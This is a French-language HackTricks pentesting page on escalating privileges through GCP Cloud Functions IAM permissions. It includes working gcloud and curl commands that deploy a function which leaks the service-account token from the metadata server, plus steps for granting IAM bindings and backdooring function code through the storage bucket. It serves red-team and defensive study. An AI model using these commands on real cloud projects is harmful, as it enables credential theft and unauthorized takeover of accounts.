GCP - Cloudfunctions Privesc

Tip

Apprenez & pratiquez AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Soutenez HackTricks

cloudfunctions

Plus d’informations sur Cloud Functions :

GCP - Cloud Functions Enum

cloudfunctions.functions.create , cloudfunctions.functions.sourceCodeSet, iam.serviceAccounts.actAs

Un attaquant disposant de ces privilÚges peut créer une nouvelle Cloud Function avec du code arbitraire (malveillant) et lui assigner un Service Account. Ensuite, leak le Service Account token depuis les metadata pour escalader les privilÚges vers celui-ci.
Certaines permissions pour dĂ©clencher la function peuvent ĂȘtre nĂ©cessaires.

Exploit scripts for this method can be found here and here and the prebuilt .zip file can be found here.

cloudfunctions.functions.update , cloudfunctions.functions.sourceCodeSet, iam.serviceAccounts.actAs

Un attaquant disposant de ces privilĂšges peut modifier le code d’une Function et mĂȘme modifier le service account attachĂ© dans le but d’exfiltrer le token.

Caution

Pour dĂ©ployer des cloud functions vous aurez Ă©galement besoin des permissions actAs sur le default compute service account ou sur le service account qui est utilisĂ© pour construire l’image.

Des privilĂšges supplĂ©mentaires comme la permission .call pour les cloudfunctions version 1 ou le rĂŽle role/run.invoker pour dĂ©clencher la fonction peuvent ĂȘtre requis.

# Create new code
temp_dir=$(mktemp -d)

cat > $temp_dir/main.py <<EOF
import subprocess

def main(request):
cmd = "curl -s -f -H 'Metadata-Flavor: Google' 'http://metadata/computeMetadata/v1/instance/service-accounts/default/token'"
result = subprocess.check_output(cmd, shell=True, text=True)
return result
EOF

echo "" > $temp_dir/requirements.txt

zip -r $temp_dir/function.zip $temp_dir/main.py $temp_dir/requirements.txt

# Update code
gcloud functions deploy <cloudfunction-name> \
--runtime python312 \
--source $temp_dir \
--entry-point main \
--service-account <sa>@$PROJECT_ID.iam.gserviceaccount.com \
--trigger-http \
--allow-unauthenticated

# Get SA token calling the new function code
gcloud functions call <cloudfunction-name>

Caution

Si vous obtenez l’erreur Permission 'run.services.setIamPolicy' denied on resource... c’est parce que vous utilisez le paramùtre --allow-unauthenticated et que vous n’avez pas les permissions suffisantes pour cela.

Le script d’exploit pour cette mĂ©thode se trouve ici.

cloudfunctions.functions.sourceCodeSet

Avec cette permission, vous pouvez obtenir une signed URL pour pouvoir uploader un fichier dans un function bucket (mais le code de la fonction ne sera pas modifié, vous devrez toujours le mettre à jour)

# Generate the URL
curl -X POST https://cloudfunctions.googleapis.com/v2/projects/{project-id}/locations/{location}/functions:generateUploadUrl \
-H "Authorization: Bearer $(gcloud auth application-default print-access-token)" \
-H "Content-Type: application/json" \
-d '{}'

Pas vraiment sĂ»r de l’utilitĂ© de cette permission seule du point de vue d’un attacker, mais bon Ă  savoir.

cloudfunctions.functions.setIamPolicy , iam.serviceAccounts.actAs

Donnez-vous l’un des privilĂšges prĂ©cĂ©dents .update ou .create pour effectuer une Ă©lĂ©vation de privilĂšges.

gcloud functions add-iam-policy-binding <NOMBRE_FUNCION> \
--region=<REGION> \
--member="<MIEMBRO>" \
--role="roles/cloudfunctions.invoker"

cloudfunctions.functions.update

Si vous ne possĂ©dez que les permissions cloudfunctions, sans iam.serviceAccounts.actAs, vous ne pourrez pas mettre Ă  jour la fonction, DONC CE N’EST PAS UN PRIVESC VALIDE.

Invocation des fonctions

Avec les permissions cloudfunctions.functions.get, cloudfunctions.functions.invoke, run.jobs.run, et run.routes.invoke, une identitĂ© peut invoquer directement Cloud Functions. Il est Ă©galement nĂ©cessaire que la fonction autorise le trafic public, ou que l’appelant se trouve dans le mĂȘme rĂ©seau que la fonction elle-mĂȘme.

curl -X POST "https://<FUNCTION_URL>" \
-H "Authorization: bearer $(gcloud auth print-identity-token)" \
-H "Content-Type: application/json" \
-d '{  "name": "Developer" }'

AccÚs en lecture et écriture sur le bucket

Si vous avez un accĂšs en lecture et Ă©criture sur le bucket, vous pouvez surveiller les changements dans le code et, chaque fois qu’une mise Ă  jour dans le bucket se produit, vous pouvez remplacer le nouveau code par le vĂŽtre afin que la nouvelle version de la Cloud Function s’exĂ©cute avec le backdoored code soumis.

Vous pouvez en savoir plus sur l’attaque dans :

GCP - Storage Privesc

Cependant, vous ne pouvez pas utiliser cela pour prĂ©-compromettre des Cloud Functions tierces car si vous crĂ©ez le bucket dans votre compte et lui donnez des permissions publiques pour que le projet externe puisse Ă©crire dessus, vous obtenez l’erreur suivante :

Caution

Cependant, cela pourrait ĂȘtre utilisĂ© pour des attaques DoS.

AccÚs en lecture et écriture sur Artifact Registry

Lorsqu’une Cloud Function est créée, une nouvelle docker image est poussĂ©e dans l’Artifact Registry du projet. J’ai essayĂ© de remplacer l’image par une nouvelle, et mĂȘme de supprimer l’image courante (et l’image cache) sans que rien ne change — la Cloud Function continue de fonctionner. Il est donc possible qu’on puisse abuser d’une Race Condition comme avec le bucket pour changer le container docker qui sera exĂ©cutĂ©, mais simplement modifier l’image stockĂ©e ne permet pas de compromettre la Cloud Function.

Références

Tip

Apprenez & pratiquez AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Soutenez HackTricks